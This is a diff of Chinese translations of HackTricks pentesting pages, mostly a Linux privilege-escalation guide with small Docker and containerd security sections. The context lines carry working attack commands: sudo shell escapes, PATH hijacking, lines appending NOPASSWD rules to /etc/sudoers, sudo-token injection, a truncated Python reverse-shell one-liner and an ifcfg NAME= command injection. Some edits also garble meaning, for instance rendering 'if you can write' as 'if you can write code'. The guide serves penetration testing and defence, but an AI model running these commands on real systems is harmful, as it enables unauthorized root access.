@ -579,7 +580,8 @@ D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果
|
||||
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
|
||||
</policy>
|
||||
```
|
||||
**了解如何枚举和利用 D-Bus 通信:**
|
||||
**学习如何枚举和利用 D-Bus 通信:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
@ -614,7 +616,7 @@ lsof -i
|
||||
```
|
||||
### 开放端口
|
||||
|
||||
始终检查在您无法与之交互的机器上运行的网络服务:
|
||||
在访问之前,始终检查在机器上运行的网络服务,这些服务是您之前无法与之交互的:
|
||||
```bash
|
||||
(netstat -punta || ss --ntpu)
|
||||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
@ -629,7 +631,7 @@ timeout 1 tcpdump
|
||||
|
||||
### 通用枚举
|
||||
|
||||
检查 **who** 你是,您拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**:
|
||||
检查 **你是谁**,你拥有的 **权限**,系统中有哪些 **用户**,哪些可以 **登录**,哪些具有 **root 权限**:
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -653,13 +655,14 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
某些Linux版本受到一个漏洞的影响,该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74),[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
某些Linux版本受到一个漏洞的影响,该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74),[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
**利用它**使用:**`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
|
||||
检查您是否是可以授予您root权限的**某个组的成员**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
interesting-groups-linux-pe/
|
||||
{{#endref}}
|
||||
@ -687,8 +690,8 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
||||
|
||||
### Su Brute
|
||||
|
||||
如果您不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用`-a`参数也会尝试暴力破解用户。
|
||||
如果您不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行用户暴力破解。\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。
|
||||
|
||||
## 可写的 PATH 滥用
|
||||
|
||||
@ -698,7 +701,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
||||
|
||||
### SUDO 和 SUID
|
||||
|
||||
您可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。使用以下命令检查:
|
||||
您可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。请使用以下命令检查:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -720,7 +723,7 @@ $ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
```
|
||||
在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得很简单。
|
||||
在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得非常简单。
|
||||
```
|
||||
sudo vim -c '!sh'
|
||||
```
|
||||
@ -763,9 +766,9 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **内容的奇怪SUID二进制文件)**。
|
||||
这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_**工具查看奇怪的SUID二进制文件的内容)**。
|
||||
|
||||
[Payload examples to execute.](payloads-to-execute.md)
|
||||
[执行的有效载荷示例。](payloads-to-execute.md)
|
||||
|
||||
### 带命令路径的SUID二进制文件
|
||||
|
||||
@ -784,8 +787,8 @@ export -f /usr/sbin/service
|
||||
|
||||
然而,为了维护系统安全并防止此功能被利用,特别是在**suid/sgid**可执行文件中,系统强制执行某些条件:
|
||||
|
||||
- 对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件,加载器会忽略**LD_PRELOAD**。
|
||||
- 对于具有suid/sgid的可执行文件,仅在标准路径中且也具有suid/sgid的库会被预加载。
|
||||
- 加载器忽略真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件的**LD_PRELOAD**。
|
||||
- 对于具有suid/sgid的可执行文件,仅预加载在标准路径中且也具有suid/sgid的库。
|
||||
|
||||
如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量在使用`sudo`运行命令时保持并被识别,这可能导致以提升的权限执行任意代码。
|
||||
```
|
||||
@ -892,7 +895,7 @@ system("/bin/bash -p");
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) 是一个经过策划的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则是针对只能 **注入参数** 的命令的情况。
|
||||
[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。
|
||||
|
||||
该项目收集了可以被滥用的 Unix 二进制文件的合法功能,以打破受限的 shell,提升或维持提升的权限,传输文件,生成绑定和反向 shell,并促进其他后期利用任务。
|
||||
|
||||
@ -920,7 +923,7 @@ https://gtfoargs.github.io/
|
||||
提升权限的要求:
|
||||
|
||||
- 您已经以用户 "_sampleuser_" 拥有一个 shell
|
||||
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间)
|
||||
- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0
|
||||
- `gdb` 可访问(您可以上传它)
|
||||
|
||||
@ -946,8 +949,8 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为用户和PID创建sudo令牌**。\
|
||||
例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且您以该用户的身份拥有PID 1234的shell,您可以**获得sudo权限**而无需知道密码,方法是:
|
||||
如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) **为用户和PID创建sudo令牌**。\
|
||||
例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且您以该用户的身份拥有PID 1234的shell,则可以**获得sudo权限**而无需知道密码,方法是:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
@ -959,7 +962,7 @@ sudo su
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
```
|
||||
如果你会写,你就可以滥用这个权限。
|
||||
如果你会写代码,你就可以滥用这个权限。
|
||||
```bash
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||
@ -981,7 +984,7 @@ permit nopass demo as root cmd vim
|
||||
|
||||
如果你知道一个 **用户通常连接到一台机器并使用 `sudo`** 来提升权限,并且你在该用户上下文中获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件将以 root 身份执行你的代码,然后执行用户的命令。然后,**修改用户上下文的 $PATH**(例如在 .bash_profile 中添加新路径),这样当用户执行 sudo 时,你的 sudo 可执行文件就会被执行。
|
||||
|
||||
请注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。
|
||||
请注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。
|
||||
|
||||
或者运行类似的命令:
|
||||
```bash
|
||||
@ -1006,7 +1009,7 @@ sudo ls
|
||||
|
||||
这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。**这意味着系统将在 `/usr/local/lib` 内搜索库**。
|
||||
|
||||
如果出于某种原因 **用户对任何指示的路径具有写权限**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\
|
||||
如果由于某种原因 **用户在任何指示的路径上具有写权限**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\
|
||||
请查看 **如何利用此错误配置** 在以下页面:
|
||||
|
||||
{{#ref}}
|
||||
@ -1024,7 +1027,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
通过将库复制到 `/var/tmp/flag15/`,程序将在此位置使用它,如 `RPATH` 变量中指定的那样。
|
||||
通过将库复制到 `/var/tmp/flag15/`,它将被程序在此位置使用,如 `RPATH` 变量中指定的那样。
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
@ -1048,8 +1051,8 @@ execve(file,argv,0);
|
||||
```
|
||||
## Capabilities
|
||||
|
||||
Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\
|
||||
阅读以下页面以**了解更多关于能力及其滥用的方法**:
|
||||
Linux capabilities 提供了 **可用的根权限的子集给一个进程**。这有效地将根 **权限分解为更小且独特的单元**。每个单元可以独立授予给进程。通过这种方式,完整的权限集被减少,从而降低了被利用的风险。\
|
||||
阅读以下页面以 **了解更多关于能力及其滥用的方法**:
|
||||
|
||||
{{#ref}}
|
||||
linux-capabilities.md
|
||||
@ -1057,14 +1060,14 @@ linux-capabilities.md
|
||||
|
||||
## Directory permissions
|
||||
|
||||
在目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\
|
||||
**“读取”**位意味着用户可以**列出**文件,而**“写入”**位意味着用户可以**删除**和**创建**新**文件**。
|
||||
在一个目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\
|
||||
**“读取”**位意味着用户可以 **列出** **文件**,而 **“写入”**位意味着用户可以 **删除** 和 **创建** 新的 **文件**。
|
||||
|
||||
## ACLs
|
||||
|
||||
访问控制列表(ACLs)代表了可自由裁量权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
|
||||
访问控制列表 (ACLs) 代表了可自由裁量权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。
|
||||
|
||||
**给予**用户“kali”对文件的读取和写入权限:
|
||||
**给予** 用户 "kali" 对一个文件的读取和写入权限:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
@ -1077,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## 打开 shell 会话
|
||||
|
||||
在 **旧版本** 中,您可以 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\
|
||||
在 **旧版本** 中,您可以 **劫持** 不同用户(**root**)的一些 **shell** 会话。\
|
||||
在 **最新版本** 中,您只能 **连接** 到 **您自己用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。
|
||||
|
||||
### 屏幕会话劫持
|
||||
@ -1117,14 +1120,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
|
||||
# If you are root or devs you can access it
|
||||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```
|
||||
检查 **Valentine box from HTB** 以获取示例。
|
||||
检查 **HTB 的情人节盒子** 以获取示例。
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166
|
||||
|
||||
在 2006 年 9 月到 2008 年 5 月 13 日之间生成的所有 Debian 基于系统(Ubuntu、Kubuntu 等)的 SSL 和 SSH 密钥可能受到此漏洞的影响。\
|
||||
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
在 2006 年 9 月至 2008 年 5 月 13 日之间生成的所有 Debian 基于系统(Ubuntu、Kubuntu 等)上的 SSL 和 SSH 密钥可能受到此漏洞的影响。\
|
||||
此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅可能有 32,768 种变体**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH 有趣的配置值
|
||||
|
||||
@ -1147,23 +1150,23 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
该配置将指示,如果您尝试使用用户“**testusername**”的**私钥**登录,ssh将比较您的密钥的公钥与位于`/home/testusername/.ssh/authorized_keys`和`/home/testusername/access`中的公钥。
|
||||
该配置将指示如果您尝试使用用户“**testusername**”的**私钥**登录,ssh将比较您的密钥的公钥与位于`/home/testusername/.ssh/authorized_keys`和`/home/testusername/access`中的公钥。
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH代理转发允许您**使用本地SSH密钥,而不是将密钥**(没有密码短语!)留在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机,**使用**位于您**初始主机**中的**密钥**。
|
||||
SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥。
|
||||
|
||||
您需要在`$HOME/.ssh.config`中设置此选项,如下所示:
|
||||
```
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一项安全问题)。
|
||||
注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一种安全问题)。
|
||||
|
||||
文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
|
||||
文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。
|
||||
|
||||
如果您发现在某个环境中配置了 Forward Agent,请阅读以下页面,因为 **您可能能够利用它来提升权限**:
|
||||
如果您发现转发代理在某个环境中被配置,请阅读以下页面,因为 **您可能能够利用它来提升权限**:
|
||||
|
||||
{{#ref}}
|
||||
ssh-forward-agent-exploitation.md
|
||||
@ -1177,7 +1180,7 @@ ssh-forward-agent-exploitation.md
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
如果发现任何奇怪的配置文件脚本,您应该检查其中是否包含**敏感细节**。
|
||||
如果发现任何奇怪的配置文件,您应该检查其中是否包含**敏感细节**。
|
||||
|
||||
### Passwd/Shadow 文件
|
||||
|
||||
@ -1216,7 +1219,7 @@ su - dummy
|
||||
```
|
||||
注意:在BSD平台上,`/etc/passwd`位于`/etc/pwd.db`和`/etc/master.passwd`,同时`/etc/shadow`被重命名为`/etc/spwd.db`。
|
||||
|
||||
你应该检查是否可以**写入一些敏感文件**。例如,你能否写入某个**服务配置文件**?
|
||||
您应该检查是否可以**写入某些敏感文件**。例如,您能否写入某些**服务配置文件**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
@ -1346,7 +1349,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)进行 \~sourced\~。
|
||||
|
||||
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后面的部分。这意味着 **第一个空格后面的所有内容都以 root 身份执行**。
|
||||
在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。
|
||||
|
||||
例如: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1360,24 +1363,27 @@ DEVICE=eth0
|
||||
|
||||
另一方面,`/etc/init` 与 **Upstart** 相关,这是 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置一起使用。
|
||||
|
||||
**systemd** 作为现代初始化和服务管理器出现,提供了按需守护进程启动、自动挂载管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。
|
||||
**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化系统管理过程。
|
||||
|
||||
## 其他技巧
|
||||
|
||||
### NFS 权限提升
|
||||
|
||||
|
||||
{{#ref}}
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### 从受限 Shell 中逃逸
|
||||
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
### Cisco - vmanage
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
@ -1397,13 +1403,13 @@ cisco-vmanage.md
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 选项)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
**Unix 权限提升检查:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux 权限检查器:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**Unix 权限检查:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux 权限检查器:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** 在 Linux 和 MAC 中枚举内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## 参考文献
|
||||
@ -1426,9 +1432,11 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
## Android Rooting 框架:管理者通道滥用
|
||||
|
||||
Android Rooting 框架通常会钩住一个系统调用,以向用户空间管理器暴露特权内核功能。弱管理者身份验证(例如,基于 FD 顺序的签名检查或不良密码方案)可以使本地应用程序冒充管理者并在已获得 root 权限的设备上提升到 root。了解更多信息和利用细节:
|
||||
## Android root 框架:管理者通道滥用
|
||||
|
||||
Android root 框架通常会钩住一个系统调用,以向用户空间管理器暴露特权内核功能。弱管理者身份验证(例如,基于 FD 顺序的签名检查或不良密码方案)可以使本地应用程序冒充管理者,并在已经 root 的设备上提升到 root。了解更多和利用细节:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
前往以下链接了解 **什么是 containerd** 和 `ctr`:
|
||||
访问以下链接了解 **什么是 containerd** 和 `ctr`:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/2375-pentesting-docker.md
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本的 Docker 引擎安全性**
|
||||
## **基本 Docker 引擎安全性**
|
||||
|
||||
**Docker 引擎** 利用 Linux 内核的 **Namespaces** 和 **Cgroups** 来隔离容器,提供基本的安全层。通过 **Capabilities dropping**、**Seccomp** 和 **SELinux/AppArmor** 提供额外的保护,增强容器隔离。一个 **auth plugin** 可以进一步限制用户操作。
|
||||
|
||||
@ -10,9 +10,9 @@
|
||||
|
||||
### 安全访问 Docker 引擎
|
||||
|
||||
Docker 引擎可以通过 Unix 套接字本地访问,也可以通过 HTTP 远程访问。对于远程访问,使用 HTTPS 和 **TLS** 确保机密性、完整性和身份验证是至关重要的。
|
||||
Docker 引擎可以通过 Unix 套接字本地访问,或通过 HTTP 远程访问。对于远程访问,使用 HTTPS 和 **TLS** 确保机密性、完整性和身份验证是至关重要的。
|
||||
|
||||
Docker 引擎默认在 `unix:///var/run/docker.sock` 上监听。在 Ubuntu 系统上,Docker 的启动选项在 `/etc/default/docker` 中定义。要启用对 Docker API 和客户端的远程访问,通过添加以下设置来通过 HTTP 套接字暴露 Docker 守护进程:
|
||||
Docker 引擎默认在 `unix:///var/run/docker.sock` 上监听 Unix 套接字。在 Ubuntu 系统上,Docker 的启动选项在 `/etc/default/docker` 中定义。要启用对 Docker API 和客户端的远程访问,通过添加以下设置来通过 HTTP 套接字暴露 Docker 守护进程:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
@ -70,19 +70,19 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
||||
```
|
||||
### Docker 镜像签名
|
||||
|
||||
Docker 镜像签名确保容器中使用的镜像的安全性和完整性。以下是简要说明:
|
||||
Docker 镜像签名确保了在容器中使用的镜像的安全性和完整性。以下是简要说明:
|
||||
|
||||
- **Docker 内容信任** 利用 Notary 项目,基于更新框架 (TUF),来管理镜像签名。有关更多信息,请参见 [Notary](https://github.com/docker/notary) 和 [TUF](https://theupdateframework.github.io)。
|
||||
- 要激活 Docker 内容信任,请设置 `export DOCKER_CONTENT_TRUST=1`。此功能在 Docker 版本 1.10 及更高版本中默认关闭。
|
||||
- 启用此功能后,仅可以下载签名的镜像。初始镜像推送需要为根密钥和标记密钥设置密码,Docker 还支持 Yubikey 以增强安全性。更多详细信息可以在 [这里](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) 找到。
|
||||
- 启用此功能后,仅可以下载签名的镜像。初始镜像推送需要为根密钥和标记密钥设置密码短语,Docker 还支持 Yubikey 以增强安全性。更多详细信息可以在 [这里](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) 找到。
|
||||
- 尝试在启用内容信任的情况下拉取未签名的镜像会导致 "No trust data for latest" 错误。
|
||||
- 在第一次之后的镜像推送中,Docker 会要求输入存储库密钥的密码以签署镜像。
|
||||
- 在第一次之后的镜像推送中,Docker 会要求输入存储库密钥的密码短语以签署镜像。
|
||||
|
||||
要备份您的私钥,请使用以下命令:
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
在切换 Docker 主机时,必须移动根密钥和存储库密钥以维持操作。
|
||||
在切换 Docker 主机时,必须移动根和存储库密钥以维持操作。
|
||||
|
||||
## 容器安全特性
|
||||
|
||||
@ -97,8 +97,8 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
**命名空间**
|
||||
|
||||
- **目的**:确保进程、网络和文件系统等资源的隔离。特别是在 Docker 中,命名空间使容器的进程与主机和其他容器分开。
|
||||
- **`unshare` 的使用**:`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 确实会。
|
||||
- **限制**:创建新命名空间并不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。
|
||||
- **`unshare` 的使用**:`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 是会的。
|
||||
- **限制**:创建新命名空间不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。
|
||||
|
||||
**控制组 (CGroups)**
|
||||
|
||||
@ -129,7 +129,7 @@ Docker 有一个可以激活的模板:[https://github.com/moby/moby/tree/maste
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** 是 Linux 内核的一个特性,它**将内核资源进行分区**,使得一组**进程****看到**一组**资源**,而**另一**组**进程**看到**不同**的资源。该特性通过为一组资源和进程使用相同的命名空间来工作,但这些命名空间指向不同的资源。资源可以存在于多个空间中。
|
||||
**Namespaces** 是 Linux 内核的一个特性,它**将内核资源进行分区**,使得一组**进程****看到**一组**资源**,而**另一**组**进程**看到**不同**的资源集。该特性通过为一组资源和进程使用相同的命名空间来工作,但这些命名空间指向不同的资源。资源可以存在于多个空间中。
|
||||
